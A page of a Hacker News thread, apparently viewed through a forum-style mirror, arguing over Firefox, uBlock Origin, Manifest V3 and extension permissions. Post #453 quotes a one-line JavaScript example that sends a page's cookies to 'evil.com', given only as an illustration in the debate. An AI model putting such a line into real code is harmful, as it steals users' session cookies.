Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Firefox is now the last major browser that still supports uBlock Origin

pcworld.com

Post reply on HN
Print view View original

451–460 of 752 posts

Re: Firefox is now the last major browser that still supports uBlock Origin

#451

Post by inigyou »

moebrowne wrote: post #366
einpoklum wrote: post #342

Earlier quoted context omitted.

It's not anonymized, because your communication with Mozilla has plenty of identifying information. Also, Mozilla officially un-committed to not using sell this and any other data it collects from you: https://arstechnica.com/tech-policy/2025/02/firefox-deletes-...

That article is well over a year old. The current privacy FAQ right now explicitly states: > We never sell your personal data. Unlike other big tech companies that collect and profit off your personal information, we’re built with privacy as the default. We don’t know your age, gender, precise location, or other information Big Tech collects and profits from. https://www.mozilla.org/en-US/privacy/faq/

They pulled back on the websife change after backlash, but trust takes a long time to rebuild.

Also, don't go by the FAQ. Go by the actual terms and conditions.

Remember part of their original response to the controversy was to say "we don't sell your data, we just give it out in exchange for money" so I'm inclined to ignore anything from them that says "we don't sell" as they clearly don't know what it means.

Re: Firefox is now the last major browser that still supports uBlock Origin

#452

Post by swed420 »

Larrikin wrote: post #183
swed420 wrote: post #136

Earlier quoted context omitted.

> You know you can make a browser based on Firefox's core If you want to inherit all of Firefox's flaws, I suppose. > and don't need to make a new one from scratch that'll never get past Cloudflare? Considering Cloudflare is a sponsor of Ladybird, something tells me they're going to grant an exception for it.

What flaws exactly? People on here love to moan about Firefox because Mozilla did one thing at some point in the existence of the company they didn't like. But then just cede the Internet to Google and chromium clones because at some point when they were a crappy junior JS dev, Chrome had some better tooling over Firebug so they just got used to testing in one browser. Maybe they also like to remember how Firefox, a…

> What flaws exactly?

For starters, they notoriously make configuration a difficult and shifting game of whac-o-mole to do simple things such as disabling the AI that nobody asked for:

https://news.ycombinator.com/item?id=45926779

It's also become more unstable in recent years, and I'm not even talking about 1000 tab sessions. It will crash with only a handful of tabs fairly regularly on linux.

For more flaws, look at everything LibreWolf, Waterfox, etc do to make up for them.

Re: Firefox is now the last major browser that still supports uBlock Origin

#453

Post by inigyou »

tremon wrote: post #435
inigyou wrote: post #375

Earlier quoted context omitted.

Sure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

What do you think is the difference between a declaration and a statement?

Re: Firefox is now the last major browser that still supports uBlock Origin

#454

Post by inigyou »

matheusmoreira wrote: post #376
7bit wrote: post #352

Earlier quoted context omitted.

Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop

"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information. The argument has nothing at all to do with declaring permissions in a manifest.

What would the API for this look like?

Re: Firefox is now the last major browser that still supports uBlock Origin

#455

Post by inigyou »

jimmydorry wrote: post #189
codedokode wrote: post #49

Earlier quoted context omitted.

Yes, but if you write your own extension maybe you want to read and modify the data. For example, patch fingerprinting script so that it gets the wrong result. Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data…

So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model? uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpe…

We should have the option to limit an extension to certain tabs or websites or at least windows, and extension authors should also have the option to specify that.

An adblocker, by its nature, needs to access *. But Return YouTube Dislike could statically specify that it will only run on youtube.com, and that's fine.

But the option to enable access to * is essential.

Re: Firefox is now the last major browser that still supports uBlock Origin

#456

Post by inigyou »

matheusmoreira wrote: post #380
aucisson_masque wrote: post #328

Earlier quoted context omitted.

> Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.

Yes, which is why it is important to lock such things down.

How would you do that?

Re: Firefox is now the last major browser that still supports uBlock Origin

#457

Post by swed420 »

7bit wrote: post #347
swed420 wrote: post #155

Earlier quoted context omitted.

Their separate point was ignored because it was an irrelevant tangent. > Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either. This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we? > And yet, for now, Firefox and Mozilla is by far the lesser evil. I'm instinctively tempted to agree, but the difference…

>> Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either. > This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we? Are you joking? You brought the claim to the table, and now that people see the flaws in it you deny them talking about it? You're some mental gymnast..

Looks like you took a rhetorical question literally. See my other comments if you're confused.

Re: Firefox is now the last major browser that still supports uBlock Origin

#458

Post by inigyou »

dotancohen wrote: post #392
inigyou wrote: post #137

Earlier quoted context omitted.

How can the browser tell the difference between a random thing you want and a random thing you don't want?

The permissions mechanism.

How can the permissions mechanism be fine grained enough to prevent bad random things, and coarse grained enough that you can understand it?

Re: Firefox is now the last major browser that still supports uBlock Origin

#459

Post by inigyou »

duskdozer wrote: post #369
xtracto wrote: post #129

Earlier quoted context omitted.

> I want my browser to prevent random extensions from directly reading web page data This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites. Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? . Sign of the times I gue…

Extensions are set to auto update by default, and it's not obvious at first how to disable that. It's also disallowed to install an extension you've built from source on most release builds, without messing with a hex editor. So essentially, any extension you install is liable to be come a "random" extension, if for example, the author sells out, or something like the attacks on NPM were to happen.

These are the real problems.

Re: Firefox is now the last major browser that still supports uBlock Origin

#460

Post by self_awareness »

defrost wrote: post #440
self_awareness wrote: post #439

Earlier quoted context omitted.

Manifest V2 functionality that has been cut out was used only in adblockers, right? And we have adblockers built-in in various browsers now. So since we have built-in adblockers, we don't really need MV2 functionality anymore? Why oppose MV3? I mean why people want to oppose MV3 instead of simply asking your favorite browser to expose the browser-specific API for missing functionality, like it was done "in the old da…

I'd suggest you sleep on that comment and come back with fresh eyes and a clear head; as is, the logic isn't as joined up as you might think.

I'm afraid I've already spent many nights sleeping on that exact same view.

If you're more enlightened, then the best you can do is to explain it to lesser beings, not virtue signal that you know better but others are unworthy of your knowledge.

Post reply on HN